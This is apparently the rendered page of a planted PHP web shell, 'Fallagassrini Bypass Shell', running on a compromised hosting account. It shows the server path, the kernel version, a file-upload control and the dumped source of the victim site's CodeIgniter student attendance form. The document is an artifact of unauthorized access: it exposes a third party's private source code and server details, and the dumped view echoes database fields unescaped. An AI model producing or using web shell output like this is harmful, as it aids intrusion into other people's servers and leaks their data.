? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/edit_extra_class.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>


<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating  Extra Class</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('student','viewinstudentsearch','search_extra_class','view_extra_class','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                 echo form_open('student/addinstudent/update_extra_class/view_extra_class/1',$attributes);
                        $start_time = explode(":", $viewinfo->start_time);
                        $end_time = explode(":", $viewinfo->end_time);
                        $batch_details=$this->mastermodel->get_data_srow('batch',$viewinfo->batch_id,'batch_id');
                        $subject = $this->mastermodel->get_data_joined('subject', 'course_subject', 'subject_id', 'subject_id', $batch_details->course_id, 'course_id', 'subject_name');
                        $teacher = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
                ?>
              <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Batch Code</label>
                            <div class="controls">
                                 <?=$batch_details->batch_no;?>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Course Name </label>
                            <div class="controls">
                                <?=$this->mastermodel->get_single_field_value('course','course_name','course_id',$batch_details->course_id);?>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Teacher Name</label>
                            <div class="controls" id="course_name">
                                <select name="teacher_id" id="teacher_id" class="chosen span12"  >
                                    <option value=''>Select</option>
                                    <?php
                                    foreach ($teacher as $list) {
                                        ?>
                                        <option value="<?= $list['employee_id'] ?>"<?php if($viewinfo->teacher_id==$list['employee_id']){echo "selected";}?>><?= $list['employee_name'] ?></option>
                                        <?php
                                    }
                                    ?>
                                </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Class Room</label>
                            <div class="controls">
                                <?=$this->mastermodel->get_single_field_value('class','class_name','class_id',$viewinfo->class_id);?>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Start Time</label>
                            <div class="controls">
                                <?php echo createHours('start_time_hour',$start_time[0]); ?>
                                <?php echo createMinutes('start_time_minute',$start_time[1]); ?>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">End Time</label>
                            <div class="controls">
                                   <?php echo createHours('end_time_hour',$end_time[0]); ?>
                                    <?php echo createMinutes('end_time_minute',$end_time[1]); ?>
                            </div>
                        </div>
                    </div>



                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Extra Class Date</label>
                            <div class="controls" id="class_code">
                            <input class="required calfocus span12" name="extra_class_date" id="extra_class_date" type="text" value="<?=$this->mastermodel->convertdatenormalformat($viewinfo->extra_class_date)?>" />
                            </div>
                           
                        </div>
                    </div>


                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Subject</label>
                            <div class="controls">
                                <select name="subject_id" class="chosen span12" id="subject_id">
                        <option value="">--Select--</option>
                        <?php
                        foreach($subject as $list)
                        {
                        ?>
                        <option value="<?=$list['subject_id'];?>" <?php if($list['subject_id']==$viewinfo->subject_id) {echo "selected";} ?>><?=$list['subject_name'];?></option>
                        <?php
                        }
                        ?>
                    </select>
                            </div>
                        </div>
                    </div>
                </div>

                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Remarks</label>
                            <div class="controls">
                                <textarea name="remarks" id="remarks" class="span12" type="text"><?=$viewinfo->remarks?></textarea> 
                            </div>
                        </div>
                    </div>
              </div>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>Attendance Details</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="stud_sub" style="background-color: white;">

                                    <thead id="stud_sub_head">
                                        <tr>
                                    <td style="text-align: center;height: 30px;">Sl no</td>
                                    <td style="text-align: center;">Student Name</td> 
                                    <td style="text-align: center;">Student No</td> 
                                    <td style="text-align: center;">Gender</td> 
                                    <td style="text-align: center;">Nationality</td> 
                                    <td style="text-align: center" >Attendance</td>
                                    <td style="text-align: center">Extra class fees</td>
                               </tr>
                               <tr>
                         <td colspan="5"> </td>          
                        <td style="text-align: center">Mark if student attended class</td>
                        <td style="text-align: center"></td>

                    </tr>
                                    </thead>   
                                    <tbody >
                                        <?php 
        
             $students = $this->studentmodel->get_batch_student_details($batch_details->batch_id, $batch_details->course_id);
             if(!empty($students))
            {
             $j=1;
             foreach ($students as $list)
                 {
                     $studnt_name=$this->mastermodel->get_data_srow('student',$list['student_id'],'student_id'); 
                     $student_batch=$this->studentmodel->get_student_extra_class($list['student_id'],$viewinfo->extra_class_id);
                     if(!empty($student_batch))
                     {
                         $extra_class=1;
                         $extra_fee_amount=$student_batch->extra_fee_amount;
                     }
                     else
                     {
                         $extra_class=0;
                         $extra_fee_amount='';
                     }
                     ?>
                     <tr>
                          <input type="hidden" name="student_id_<?=$j?>" value="<?=$list['student_id']?>" /> 
                          <td style="text-align: center;width: 120px;height: 30px;"><?=$j?></td>
                          <td><?=$studnt_name->first_name." ".$studnt_name->last_name?></td>      
                          <td><?=$studnt_name->reg_no;?></td>        
                          <td><?=$studnt_name->gender;?></td>  
                          <td><?=$studnt_name->nationality;?></td>  
                          <td style="text-align: center;"><input type="checkbox" name="extra_class<?=$j?>" <?php if( $extra_class==1){echo "checked";}?> /></td>
                          <td style="text-align: center;"><input name="extra_fee_amount<?= $j ?>" value="<?=$extra_fee_amount;?>" id="extra_fee_amount_<?= $j ?>" type="text" class="number auto"></td>
                     </tr>
            <?php    
                    $j++;
             }
         }
             ?>
        

                                    </tbody>

                                </table>

                            </div>
                        </div>

                    </div>
                </div>



                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="extra_class"/>
                    <input type="hidden" name="resfunction" value="search_extra_class"/>
                    <input name="extra_class_id" id="extra_class" type="hidden" value="<?=$viewinfo->extra_class_id?>"/>
                    
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('student','viewinstudentsearch','search_extra_class','view_extra_class','<?=$_SESSION['pagenum'];?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>






bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net